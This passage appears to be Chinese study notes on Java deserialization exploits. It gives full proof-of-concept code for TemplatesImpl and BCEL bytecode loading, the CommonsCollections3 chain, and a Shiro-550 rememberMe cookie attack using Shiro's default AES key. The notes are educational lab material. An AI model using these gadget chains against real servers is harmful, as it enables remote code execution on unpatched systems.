bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
其中, setFieldValue 方法用来设置私有属性,这里设置了三个属性: _bytecodes 、 _name 和 _tfactory 。
- _bytecodes 是由字节码组成的数组;
- _name 可以是任意字符串,只要不为null即可;
- _tfactory 需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
所以在构造执行恶意代码的类的时候需要声明继承自AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}
它继承了 AbstractTranslet 类,并在构造函数里插入Hello的输出。将其编译成字节码,即可被 TemplatesImpl 执行了。
在多个Java反序列化利用链,以及fastjson、jackson的漏洞中,都曾出现过 TemplatesImpl 的身影,这 个系列后文中仍然会再次见到它的身影。
13.6 – 利用BCEL ClassLoader加载字节码
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为 被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的 原生库中。
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为 被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的 原生库中。
关于BCEL的详细介绍在p神的文章讲的是真的详细,强推阅读[BCEL ClassLoader去哪了](BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com))
我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:
- Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;
- Utility 用于将 原生的字节码转换成BCEL格式的字节码:
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class HelloBCEL {
public static void main(String []args) throws Exception {
JavaClass cls = Repository.lookupClass(evil.Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}
而BCEL ClassLoader用于加载这串特殊的“字节码”,并可以执行其中的代码。
BCEL ClassLoader在Fastjson等漏洞的利用链构造时都有被用到,其实这个类和前面的 TemplatesImpl 都出自于同一个第三方库,Apache Xalan。但是由于各种原因,在Java 8u251的更新中,这个ClassLoader被移除了。
14 – CommonsCollections3出现的原因
CC3可以说是老玩家了,直接上p师傅简化的POC
代码语言:javascript复制import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
setFieldValue(transformerChain, "iTransformers", transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// 本地测试触发
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
这个POC也有CommonsCollections1⼀样的问题,就是只⽀持Java 8u71及以下版本(8u71以后不再直接使用反序列化得到的Map对象,而是新建了一个linkedHashMap
对象,并将原来的键值添加进去)
14.2 – CC3出现原因
在第14篇的文中最让我耳目一新的是p神说到了CC3这条链子出现的原因:
在ysoserial发布后出现了类似SerialKiller
这样的⼯具,通过黑名单白名单的方式限制反序列化的类,⿊名单中InvokerTransformer
赫然在列,也就切断了CommonsCollections1的利⽤链。
CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer
的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
。
这个类的构造⽅法中调⽤了 TransformerImpl#newTransformer() ,免去了我们使⽤ InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步
15 – TemplatesImpl在Shiro 中的利用
Shiro 演示项目中的依赖解析:
- shiro-core、shiro-web,这是shiro本身的依赖
- javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
- commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
攻击流程:
- 使用以前学过的CommonsCollections利用链生成一个序列化Payload
- 使用Shiro默认Key进行加密
- 将密文作为rememberMe的Cookie发送给服务端
然后会发现直接将CC链得到的POC加密后发送给Shiro反序列化会失败报错,最后一个报错的类org.apache.shiro.io.ClassResolvingObjectInputStream
是一个 ObjectInputStream的子类,其重写了 resolveClass 方法。resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形 式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。
通过对比它的父类,也就是正常的 ObjectInputStream
类中的 resolveClass
方法可以发现区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
),而后者用的是Java原 生的 Class.forName 。最后通过断点发现出现加载异常的类名为 Lorg.apache.commons.collections.Transformer
(实际上就是org.apache.commons.collections.Transformer的数组
).
所以,网上很多文章就给出结论, Class.forName 支持加载数组,而 ClassLoader.loadClass 不支持 加载数组,这个区别导致了问题。
但是p神得到了更准确的答案:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就 解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
15.2 – 构造不含数组的反序列化Gadget
在CC6中,对 LazyMap#get 方法的参数key是不关心的,因为 通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。 但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇 的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
代码语言:javascript复制Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成1,那么数组也就不需要 了。 这个过程其实挺巧的,而且和前面几篇文章中的知识紧密结合。
15.3 – 改造CommonsCollections6为 CommonsCollectionsShiro
代码语言:javascript复制import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
攻击端:
代码语言:javascript复制import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void Client(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
这里用到了Javassist by jboss-javassist ,这是一个字节码操纵的第三方库,可以帮助我将恶意类 com.govuln.shiroattack.Evil 生成字节码再交给 TemplatesImpl 。 生成的POC,在Cookie里进行发送,成功弹出计算器.
这一个Gadget其实也就是XRay和Koalr师傅的CommonsCollectionsK1用来检测Shiro-550的方法。
解决的问题:
- 如何将 TemplatesImpl 结合到 CommonsCollections6中
- 解决CommonsCollections3在Java 8u71以上利用的问题(不执行HashMap的ReadObject函数)
注意点:
- Shiro不是遇到Tomcat就一定会有数组这个问题
- Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了